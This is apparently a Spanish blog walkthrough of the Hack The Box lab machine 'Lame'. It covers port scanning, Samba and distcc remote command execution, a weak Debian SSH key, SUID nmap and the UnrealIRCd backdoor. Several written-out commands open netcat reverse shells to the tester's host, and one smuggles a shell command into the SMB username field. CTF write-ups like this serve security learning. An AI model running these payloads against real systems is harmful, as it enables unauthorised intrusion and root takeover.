En este post voy a vulnerar la máquina Lame de Hack the Box. Es una máquina Linux de nivel fácil con múltiples vías de explotación y elevación de privilegios.
Enumeración
Comienzo enumerando los 5.000 puertos mas comunes y, para darle mas velocidad al escaneo, indico que envíe 10.000 paquetes por segundo con la opción --min-rate 10000; esto hace que el escaneo sea mas ruidoso pero al ser un entorno controlado no importa el ruido.
nmap --top-ports 5000 --min-rate 10000 -n --open 10.10.10.3 -Pn
[]
<!-- /wp:shortcode -->
<!-- wp:image {"align":"center","id":406,"sizeSlug":"full","linkDestination":"none"} -->
<div class="wp-block-image"><figure class="aligncenter size-full"><img src="https://drp1ngblog.es/wp-content/uploads/2021/10/Lame01.png" alt="" class="wp-image-406"/></figure></div>
<!-- /wp:image -->
<!-- wp:paragraph {"className":"has-text-align-justify has-ek-typography"} -->
<p class="has-text-align-justify has-ek-typography">En la máquina hay cinco puertos abiertos. Escaneo los cinco puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.</p>
<!-- /wp:paragraph -->
<!-- wp:shortcode -->
[shell]
nmap -p21,22,139,445,3632 -sV -sC 10.10.10.3 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-26 15:54 CEST
Nmap scan report for 10.10.10.3
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.6
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 2h06m29s, deviation: 2h49m43s, median: 6m28s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2021-10-26T10:01:23-04:00
| smb-security-mode:
| account_used: &amp;amp;amp;lt;blank&amp;amp;amp;gt;
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.91 seconds
Samba – Puerto 139,445
Enumero los directorios del usuario Anonymous con crackmapexec y descubro que tengo permisos de lectura y escritura en eldirectorio /tmp.
crackmapexec smb 10.10.10.3 -u '' -p '' --shares

Accedo al directorio /tmp utilizando smbclient. Como esta máquina ejecuta la versión SMB1, para utilizar smbclient, tengo que especificar el protocolo mínimo de cliente para conseguir la conexión. Más información aquí y aquí.
smbclient //10.10.10.3/tmp -N --option='client min protocol=NT1'

Consigo acceder al directorio pero no encuentro nada de utilidad.
Busco si existe alguna vulnerabilidad a nivel de kernel para esta versión de Samba y encuentro una que me permite ejecutar comandos de forma remota.

Distcc – Puerto 3632
Buscando en el repositorio de nmap (aquí) encuentro este script que me permite ejecutar comandos de forma remota.

Explotación
Samba
El exploit encontrado solo funciona con metasploit pero si entro a leer el código me indica que cubre una vulnerabilidad registrada como CVE-2007-2447.

Con una búsqueda rápida en google, encuentro tres formas distintas de explotar esta vulnerabilidad de forma manual y con todas ellas accedo directamente como usuario root.
Opción 1
Con este script de github. Únicamente pongo un netcat a la escucha, ejecuto el script según se indica en las instrucciones y accedo a la máquina víctima como root.
python exploit.py 10.10.10.3 445 10.10.14.6 7897


Opción 2
En crackmapexec, teniendo unas credenciales válidas (para este caso null-session) inyecto una conexión por netcat en el campo del usuario. La opción nohup evita que el comando se cancele automáticamente cuando cierra sesión o sale del shell.
crackmapexec smb 10.10.10.3 -u './=`nohup nc -e /bin/bash 10.10.14.6 7898`' -p ''


Opción 3
Con este script de github, basado en el de metasploit. Este script requiere generar un shellcode con msfvenom.
msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.6 LPORT=7788 -f python [-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload [-] No arch selected, selecting arch: cmd from the payload No encoder specified, outputting raw payload Payload size: 92 bytes Final size of python file: 467 bytes buf = b"" buf += b"\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x61" buf += b"\x2e\x30\x2e\x33\x35\x20\x39\x39\x39\x39\x20\x30\x3c" buf += b"\x2f\x74\x6d\x70\x2f\x6b\x62\x67\x61\x66\x20\x7c\x20" buf += b"\x30\x2e\x31\x34\x2e\x37\x20\x39\x39\x39\x39\x20\x30" buf += b"\x2f\x62\x69\x6e\x2f\x73\x68\x20\x3e\x2f\x74\x6d\x70" buf += b"\x70\x2f\x61\x72\x74\x6d\x6b\x20\x32\x3e\x26\x31\x3b" buf += b"\x20\x72\x6d\x20\x2f\x74\x6d\x70\x2f\x61\x72\x74\x6d" buf += b"\x21"
Distccd
Nmap indica que para esta versión existe una vulnerabilidad registrada como CVE-2004-2687. Con una búsqueda rápida en google, encuentro dos formas de explotarla facilmente.
Opción 1
Con este script de github puedo ejecutar comandos por consola en la máquina víctima.
python exploit.py -t 10.10.10.3 -p 3632 -c whoami

Una vez comprobado que funciona el exploit, lo ejecuto inyectando una shell reversa por netcat.
python exploit.py -t 10.10.10.3 -p 3632 -c "nc -e /bin/bash 10.10.14.6 7899"


Opción 2
El propio script de nmap (aquí) que detecta la vulnerabilidad también me permite ejecutar comandos de forma remota, solo tengo que indicarle como objeto que ejecute una cmd y el comando que quiero ejecutar.
nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687 --script-args="distcc-cve2004-2687.cmd='ifconfig eth0'" -Pn

Como se puede ver en la imagen, he conseguido que muestre la información de la interfaz de red eth0.
Vuelvo a ejecutar el comando inyectando una shell reversa con netcat por el puerto 8989.
nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687 --script-args="distcc-cve2004-2687.cmd='nc -e /bin/bash 10.10.14.6 8989'" -Pn

Escalada de Privilegios
Para hacer la escalada de privilegios, en los casos en los que no he conseguido el usuario root en la fase de explotación, encuentro tres vías distintas.
Clave SSH débil
Con el usuario daemon tengo acceso al directorio /root y a sus directorios ocultos (realmente tengo total acceso con excepción del fichero de la flag). Dentro del directorio /root/.ssh puedo leer el fichero de claves públicas authorized_keys.
cat authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable

Normalmente, tener una clave pública no sirve de mucho pero me llama la atención que el usuario sea msfadmin@metasploiteable porque podría poseer la vulnerabilidad CVE-2008-0166 (se rompió, temporalmente, el generador de números aleatorios en OpenSSL y provocó que algunas claves SSH fueran obtenidas por fuerza bruta a partir de la clave pública). Me descargo el repositorio de g0tmilk para esta vulnerabilidad.
git clone https://github.com/g0tmi1k/debian-ssh.git cd /debian-ssh/common_keys tar jxf debian_ssh_rsa_2048_x86.tar.bz2
Después de extraer las claves RSA comunes uso grep de forma recursiva para buscar el nombre del archivo con la clave pública.
grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w==

Una vez encontrada, uso la clave privada correspondiente para conectarme como root por SSH.
ssh -i 57c3115d77c56390332dc5c49978627a-5429 root@10.10.10.3

SUID de nmap
Comienzo listando los binarios que poseen el bit SUID.

La imagen pertenece a una salida de Linux Smart Enumeration. Para verlo manualmente habría que ejecutar el comando: find / -type f -perm -u=s 2>/dev/null
Como se ve en la imagen anterior, nmap posee el bit SUID por lo que me podría servir para escalar privilegios siguiendo las indicaciones de GTFOBins. Comienzo comprobando la versión del binario.
nmap --version

En todas las versiones entre la 2.02 y la 5.21 se puede utilizar el modo interactivo de nmap para escalar privilegios.
nmap --interactive !sh

Backdoor en UnrealIRCd
Mirando los servicios en escucha de la máquina puedo ver el puerto 6697 que podría ser IRC sobre SSL.

La imagen pertenece a una salida de Linux Smart Enumeration. Para verlo manualmente habría que ejecutar el comando: netstat -putaon
Veo los procesos que se están ejecutando en la máquina y veo que UnrealIRCd se está ejecutando como root.
ps aux | grep unreal

Activo la puerta trasera por netcat. Más información aquí.
echo "AB; nc -e /bin/sh 10.10.14.6 8999" | nc 127.0.0.1 6697


Flags
Me he dejado las flags para el final debido al gran número de formas que hay de conseguirlas en esta máquina.
User.txt
La flag de usuario la encuentro en /home/makis/user.txt.

Root.txt
La flag de root la encuentro en /root/root.txt.

